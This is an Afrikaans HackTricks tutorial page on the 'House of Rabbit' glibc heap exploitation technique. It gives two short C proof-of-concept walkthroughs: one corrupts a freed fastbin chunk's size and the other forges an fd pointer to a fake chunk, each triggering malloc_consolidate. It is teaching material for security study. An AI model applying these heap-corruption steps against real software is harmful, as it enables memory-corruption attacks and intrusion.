House of Rabbit

Reading time: 5 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Vereistes

  1. Vermogen om die fast bin fd pointer of grootte te verander: Dit beteken jy kan die voorwaartse pointer van 'n stuk in die fastbin of sy grootte verander.
  2. Vermogen om malloc_consolidate te aktiveer: Dit kan gedoen word deur 'n groot stuk toe te ken of die boonste stuk te kombineer, wat die heap dwing om stukke te konsolideer.

Doelwitte

  1. Skep oorvleuelende stukke: Om een stuk oor te laat vlek met 'n ander, wat verdere heap manipulasies moontlik maak.
  2. Vals stukke forge: Om die toewysingsprogram te mislei om 'n vals stuk as 'n wettige stuk te behandel tydens heap operasies.

Stappe van die aanval

POC 1: Verander die grootte van 'n fast bin stuk

Doel: Skep 'n oorvleuelende stuk deur die grootte van 'n fastbin stuk te manipuleer.

  • Stap 1: Ken stukke toe
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

Ons allokeer twee stukke van 0x40 bytes elk. Hierdie stukke sal in die vinnige bin lys geplaas word sodra dit vrygestel word.

  • Stap 2: Vrygestelde Stukke
cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

Ons vry beide stukke, en voeg hulle by die fastbin lys.

  • Stap 3: Wysig Stuk Grootte
cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

Ons verander die grootte metadata van chunk1 na 0xa1. Dit is 'n belangrike stap om die allokator te mislei tydens konsolidasie.

  • Stap 4: Trigger malloc_consolidate
cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Toewysing van 'n groot stuk aktiveer die malloc_consolidate funksie, wat klein stukke in die vinnige bin saamvoeg. Die gemanipuleerde grootte van chunk1 veroorsaak dat dit oorvleuel met chunk2.

Na konsolidasie oorvleuel chunk1 met chunk2, wat verdere uitbuiting moontlik maak.

POC 2: Wysig die fd wysiger

Doel: Skep 'n vals stuk deur die vinnige bin fd wysiger te manipuleer.

  • Stap 1: Toewys Stukke
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Verklaring: Ons allokeer twee stukke, een kleiner en een groter, om die heap vir die valse stuk op te stel.

  • Stap 2: Skep valse stuk
cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

Ons skryf vals chunk metadata in chunk2 om kleiner chunks te simuleer.

  • Stap 3: Vry chunk1
cpp
free(chunk1);  // Frees the chunk at 0x602000

Verklaring: Ons maak chunk1 vry, en voeg dit by die fastbin lys.

  • Stap 4: Wysig fd van chunk1
cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Verklaring: Ons verander die vooraanwyser (fd) van chunk1 om na ons valse chunk binne chunk2 te wys.

  • Stap 5: Trigger malloc_consolidate
cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Toewysing van 'n groot stuk aktiveer weer malloc_consolidate, wat die vals stuk verwerk.

Die vals stuk word 'n deel van die fastbin lys, wat dit 'n legitieme stuk maak vir verdere uitbuiting.

Samevatting

Die House of Rabbit tegniek behels of die grootte van 'n fast bin stuk te verander om oorvleuelende stukke te skep of die fd wysser te manipuleer om vals stukke te skep. Dit stel aanvallers in staat om legitieme stukke in die heap te vervals, wat verskeie vorme van uitbuiting moontlik maak. Om hierdie stappe te verstaan en te oefen, sal jou heap uitbuitingsvaardighede verbeter.

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks